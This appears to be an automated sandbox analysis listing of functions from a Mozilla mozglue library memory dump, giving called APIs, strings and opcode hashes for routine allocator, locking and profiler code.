Instruction ID: 5a51aad46e7618017a0a5dad08e710467d91c62202b3c6104c23169ecf2d6adf
Opcode Fuzzy Hash: bab9a921b2db941f649d19ba83cea1f2c426f22f3eb5a88241d26960ebdfa2d5
Instruction Fuzzy Hash: CE319171B04604CBCB00DFA9C8599AEB7F5FF9A325B250519D902A7780DB31F94ACB92

Function 6C969830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C9B7ABE), ref: 6C96985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C9B7ABE), ref: 6C9698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C969909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C969918
free.MOZGLUE(?), ref: 6C969975

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 4137d03381a025ad36ab9a787ded1573bf3e4c4ad511091d4a4daa24cf822f72
Instruction ID: 315f7fbe94da587da728d85a16304f4067f99594be10b55fb17a2c376845603a
Opcode Fuzzy Hash: 4137d03381a025ad36ab9a787ded1573bf3e4c4ad511091d4a4daa24cf822f72
Instruction Fuzzy Hash: C471AA746047068FD724CF29C480966BBF5FF4A3287254AADE85A8BF90D731F841CB91

Function 6C96B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE), ref: 6C96B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B896

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 041c6b22a8d40372991466ac8ae860c2a7069c3b8c3ee84659335f43ccf86f9c
Instruction ID: 246f456b76d7412a1ea2c0a98076613406390562ee2cffc32c3731d00e4ffd17
Opcode Fuzzy Hash: 041c6b22a8d40372991466ac8ae860c2a7069c3b8c3ee84659335f43ccf86f9c
Instruction Fuzzy Hash: 3E519C757046008FDB24CF5AC484A2AB7F5FF89318B69859DE98A97B81D731EC01DB80

Function 6C9A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C9A1BE3,?,?,6C9A1D96,00000000), ref: 6C9A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C9A1BE3,?,?,6C9A1D96,00000000), ref: 6C9A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C9A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9A1DDA

Part of subcall function 6C9A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C9A1F03
Part of subcall function 6C9A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C9A1DF2,00000000,00000000), ref: 6C9A1F0C
Part of subcall function 6C9A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C9A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C9A1DF4

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 434161ff008567d77c09c505c1b100bb3110490fdb6e46222be36b3a6b6c0cd2
Instruction ID: 069d8256c4beba576eed91c856fefd64cfa7b12fa5074811dcdac2462626f73d
Opcode Fuzzy Hash: 434161ff008567d77c09c505c1b100bb3110490fdb6e46222be36b3a6b6c0cd2
Instruction Fuzzy Hash: B54145B5204B01DFCB10DF69C488A56BBF9FB99714F20442EE95A87B41CB71F854CB91

Function 6C9638A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9DE220,?,?,?,?,6C963899,?), ref: 6C9638B2
ReleaseSRWLockExclusive.KERNEL32(6C9DE220,?,?,?,6C963899,?), ref: 6C9638C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C963899,?), ref: 6C9638F1
RtlFreeHeap.NTDLL ref: 6C963920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C963899,?), ref: 6C96392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C963899,?), ref: 6C963943
RtlFreeHeap.NTDLL ref: 6C96396E

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 24adca4353828bea103a318e3c2a3e7c98cfdf66cd00006cec9ba144382acbcd
Instruction ID: f9de067691d91b87a0a44fd442d7e2c6e8e41b5543c4b44dbf52ae36c0791fc8
Opcode Fuzzy Hash: 24adca4353828bea103a318e3c2a3e7c98cfdf66cd00006cec9ba144382acbcd
Instruction Fuzzy Hash: C721BF72600A10DFE7209F26C880B96BBA9FF55328F258469D95A97F90C730E985CB91

Function 6C9984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9985AC

Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99767F
Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C997693
Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9985B2

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: cac8eff9d937dac9b919cd4761e3ea95aef2999215e0182770f09a00ee56c3fe
Instruction ID: b7c9933464b9c951249474b6a6b36f53743d4bbb47717c3bf412c8ba39d925c4
Opcode Fuzzy Hash: cac8eff9d937dac9b919cd4761e3ea95aef2999215e0182770f09a00ee56c3fe
Instruction Fuzzy Hash: 48218E742006019FDB18DB28C888A6AB7B9AF9430DF28492DE55BD3B41DB31F958CB56

Function 6C961640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C961699
VerSetConditionMask.NTDLL ref: 6C9616CB
VerSetConditionMask.NTDLL ref: 6C9616D7
VerSetConditionMask.NTDLL ref: 6C9616DE
VerSetConditionMask.NTDLL ref: 6C9616E5
VerSetConditionMask.NTDLL ref: 6C9616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9616F9

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 8f8a2cd46451d108828f2a413a0759199c5cf10e5333fb35fd7ac93a3b1621c1
Instruction ID: bba0b897be92b6e228a67421185f6b1bd8524806e54ce4ec3bb1d896e3242523
Opcode Fuzzy Hash: 8f8a2cd46451d108828f2a413a0759199c5cf10e5333fb35fd7ac93a3b1621c1
Instruction Fuzzy Hash: 9821D5B07442086BFB106A65CC45FBBB37CDF96704F044528F645AB6C0C674EE54C6A1

Function 6C99F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C99F598), ref: 6C99F621

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F637
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F645
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C99F62A

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 99e2e4a7255e96c9c32b5a1c0ac3f4d8398d7a213746abeb72b20cee0978f20d
Instruction ID: dbfb89039c02f222b4e8578100ebe23204c7e3c60010c0d8b7a0a5392eb98bc5
Opcode Fuzzy Hash: 99e2e4a7255e96c9c32b5a1c0ac3f4d8398d7a213746abeb72b20cee0978f20d
Instruction Fuzzy Hash: 0211E371209A05AFCB40AF58C8489A5B77DFF9635DB280015FA09A3F01CB71F861CBA1

Function 6C961FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C961FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C961FFD
__Init_thread_footer.LIBCMT ref: 6C962011
FreeLibrary.KERNEL32 ref: 6C962059

Strings

combase.dll, xrefs: 6C961FD9
CoCreateInstance, xrefs: 6C961FF7

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 3a34ae18cd0fd3d7efdd1a7d06b4178ed928b9b246e63cdec053077a44efb8a4
Instruction ID: a05e65fbecb88758537929cf5cc8fa50c83dc609a7091692d6ff7701b3159862
Opcode Fuzzy Hash: 3a34ae18cd0fd3d7efdd1a7d06b4178ed928b9b246e63cdec053077a44efb8a4
Instruction Fuzzy Hash: 29115175209A05EFEF10CF55C84EE667B79EB86359F208419F905A3A80C731F890DFA1

Function 6C960EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C98D9F0,00000000), ref: 6C960F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C960F3C
__Init_thread_footer.LIBCMT ref: 6C960F50
FreeLibrary.KERNEL32(?,6C98D9F0,00000000), ref: 6C960F86

Strings

CoInitializeEx, xrefs: 6C960F36
combase.dll, xrefs: 6C960F18

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: d57daf84c3f9b33a4cdf9cde6b74a579e95b91fccb7cd8b778d0dff63dff6da6
Instruction ID: db76d53b309ef7e029be97d9141d51536daebdb60b8c645d9d77956a38dafc03
Opcode Fuzzy Hash: d57daf84c3f9b33a4cdf9cde6b74a579e95b91fccb7cd8b778d0dff63dff6da6
Instruction Fuzzy Hash: EC110630719A419BEF00CF55C949A693778EB8B32AF208619E905B3B80DB30F480CA69

Function 6C99F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F561

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F577
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F585
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C99F56A
[I %d/%d] profiler_resume, xrefs: 6C99F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C99F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C99F3A8

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: e30c48d20f17c9ec6a6d5f07fc484cf4078869230fad77126673fd32d574df5b
Instruction ID: aa67c257549bbc056e8f111de936c12045696a46ba325a43ddb5548bf236ee4b
Opcode Fuzzy Hash: e30c48d20f17c9ec6a6d5f07fc484cf4078869230fad77126673fd32d574df5b
Instruction Fuzzy Hash: 27F0B475204A049FDB006F699C4C96A77BDEB9629EF294015FA09A3701CF31E84087B1

Function 6C99F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C99F598), ref: 6C99F621

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F637
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F645
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C99F62A

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 9a23326c18c620d3b4f5665758a1c7df30de0d042a0c62ae7b176801473360a7
Instruction ID: 8c8f31107bf0dabd3aea7ad4356660dd60110da7ec23acc7c525b99d64a93a69
Opcode Fuzzy Hash: 9a23326c18c620d3b4f5665758a1c7df30de0d042a0c62ae7b176801473360a7
Instruction Fuzzy Hash: 07F0B475204A04AFDF006F688C4C95A777DEB9625EF254015FA09A3701CB75E84587B1

Function 6C960E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C960DF8), ref: 6C960E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C960EA1
__Init_thread_footer.LIBCMT ref: 6C960EB5
FreeLibrary.KERNEL32 ref: 6C960EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C960E9B
kernel32.dll, xrefs: 6C960E7D

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0bf903564c60863462c14bb70443c6a6c79dd39a2da2b3aacfdda3046ff6dad3
Instruction ID: 65fc3a797f989c6b03bbc0683c11bc91570c852e558421845a6d685752eb891e
Opcode Fuzzy Hash: 0bf903564c60863462c14bb70443c6a6c79dd39a2da2b3aacfdda3046ff6dad3
Instruction Fuzzy Hash: D9014B74708A828BEF018FE9CA96BC273B5E766B1DF205525D901A3F80DB74F484CA56

Function 6C9905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C98CFAE,?,?,?,6C9531A7), ref: 6C9905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C98CFAE,?,?,?,6C9531A7), ref: 6C990616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9531A7), ref: 6C99061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9531A7), ref: 6C990627

Strings

<jemalloc>, xrefs: 6C9905FA, 6C99060F
: (malloc) Error in VirtualFree(), xrefs: 6C99061B, 6C990625

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
